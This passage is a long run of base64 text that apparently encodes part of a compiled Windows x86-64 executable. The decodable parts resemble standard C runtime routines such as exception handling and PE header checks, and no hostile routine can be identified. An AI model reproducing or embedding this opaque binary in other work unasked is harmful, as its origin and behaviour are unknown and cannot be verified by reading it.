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Ii0sg6O+k//9Ii0so6Oak//9Ii0sw6N2k//9Iiwvo1aT//0iLS0DozKT//0iLS0jow6T//0iLS1DouqT//0iLS1josaT//0iLS2DoqKT//0iLS2jon6T//0iLSzjolqT//0iLS3DojaT//0iLS3johKT//0iLi4AAAADoeKT//0iLi4gAAADobKT//0iLi5AAAADoYKT//0iLi5gAAADoVKT//0iLi6AAAADoSKT//0iLi6gAAADoPKT//0iLi7AAAADoMKT//0iLi7gAAADoJKT//0iLi8AAAADoGKT//0iLi8gAAADoDKT//0iLi9AAAADoAKT//0iLi9gAAADo9KP//0iLi+AAAADo6KP//0iLi+gAAADo3KP//0iLi/AAAADo0KP//0iLi/gAAADoxKP//0iLiwABAADouKP//0iLiwgBAADorKP//0iLixABAADooKP//0iLixgBAADolKP//0iLiyABAADoiKP//0iLiygBAADofKP//0iLizABAADocKP//0iLizgBAADoZKP//0iLi0ABAADoWKP//0iLi0gBAADoTKP//0iLi1ABAADoQKP//0iLi2gBAADoNKP//0iLi3ABAADoKKP//0iLi3gBAADoHKP//0iLi4ABAADoEKP//0iLi4gBAADoBKP//0iLi5ABAADo+KL//0iLi2ABAADo7KL//0iLi6ABAADo4KL//0iLi6gBAADo1KL//0iLi7ABAADoyKL//0iLi7gBAADovKL//0iLi8ABAADosKL//0iLi8gBAADopKL//0iLi5gBAADomKL//0iLi9ABAADojKL//0iLi9gBAADogKL//0iLi+ABAADodKL//0iLi+gBAADoaKL//0iLi/ABAADoXKL//0iLi/gBAADoUKL//0iLiwACAADoRKL//0iLiwgCAADoOKL//0iLixACAADoLKL//0iLixgCAADoIKL//0iLiyACAADoFKL//0iLiygCAADoCKL//0iLizACAADo/KH//0iLizgCAADo8KH//0iLi0ACAADo5KH//0iLi0gCAADo2KH//0iLi1ACAADozKH//0iLi1gCAADowKH//0iLi2ACAADotKH//0iLi2gCAADoqKH//0iLi3ACAADonKH//0iLi3gCAADokKH//0iLi4ACAADohKH//0iLi4gCAADoeKH//0iLi5ACAADobKH//0iLi5gCAADoYKH//0iLi6ACAADoVKH//0iLi6gCAADoSKH//0iLi7ACAADoPKH//0iLi7gCAADoMKH//0iDxCBbw8zMQFVBVEFVQVZBV0iD7FBIjWwkQEiJXUBIiXVISIl9UEiLBe7iAABIM8VIiUUIi11gM/9Ni+FFi+hIiVUAhdt+KkSL00mLwUH/ykA4OHQMSP/ARYXSdfBBg8r/i8NBK8L/yDvDjVgBfAKL2ESLdXiL90WF9nUHSIsBRItwBPedgAAAAESLy02LxBvSQYvOiXwkKIPiCEiJfCQg/8L/FaMxAABMY/iFwHUHM8Dp+QEAAEm48P///////w+FwH5hM9JIjULgSff3SIP4AnJSSo0MfRAAAABIgfkABAAAdypIjUEPSDvBdwNJi8BIg+Dw6MIWAABIK+BIjXwkQEiF/3SpxwfMzAAA6xPoTKH//0iL+EiFwHQKxwDd3QAASIPHEEiF/3SFRIvLTYvEugEAAABBi85EiXwkKEiJfCQg/xUDMQAAhcAPhEwBAABMi2UAIXQkKEghdCQgSYvMRYvPTIvHQYvV6D34//9IY/CFwA+EIwEAAEG4AAQAAEWF6HQ2i01whckPhA0BAAA78Q+PBQEAAEiLRWiJTCQoRYvPTIvHQYvVSYvMSIlEJCDo9vf//+niAAAAhcB+ajPSSI1C4Ej39kiD+AJyW0iNDHUQAAAASTvIdzVIjUEPSDvBdwpIuPD///////8PSIPg8OjFFQAASCvgSI1cJEBIhdsPhJUAAADHA8zMAADrE+hLoP//SIvYSIXAdA7HAN3dAABIg8MQ6wIz20iF23RtRYvPTIvHQYvVSYvMiXQkKEiJXCQg6GL3//8zyYXAdDyLRXAz0kiJTCQ4RIvOTIvDSIlMJDCFwHULiUwkKEiJTCQg6w2JRCQoSItFaEiJRCQgQYvO/xWiLwAAi/BIjUvwgTnd3QAAdQXok57//0iNT/CBOd3dAAB1BeiCnv//i8ZIi00ISDPN6KB2//9Ii11ASIt1SEiLfVBIjWUQQV9BXkFdQVxdw8zMSIlcJAhIiXQkEFdIg+xwSIvySIvRSI1MJFBJi9lBi/joJ37//4uEJMAAAABIjUwkUEyLy4lEJECLhCS4AAAARIvHiUQkOIuEJLAAAABIi9aJRCQwSIuEJKgAAABIiUQkKIuEJKAAAACJRCQg6L/8//+AfCRoAHQMSItMJGCDocgAAAD9TI1cJHBJi1sQSYtzGEmL41/DzMxAVUFUQVVBVkFXSIPsQEiNbCQwSIldQEiJdUhIiX1QSIsFht8AAEgzxUiJRQBEi3VoM/9Fi/lNi+BEi+pFhfZ1B0iLAUSLcAT3XXBBi86JfCQoG9JIiXwkIIPiCP/C/xV4LgAASGPwhcB1BzPA6c0AAAB+aki48P///////39IO/B3W0iNDHUQAAAASIH5AAQAAHcxSI1BD0g7wXcKSLjw////////D0iD4PDonBMAAEgr4EiNXCQwSIXbdK7HA8zMAADrE+gmnv//SIvYSIXAdA/HAN3dAABIg8MQ6wNIi99Ihdt0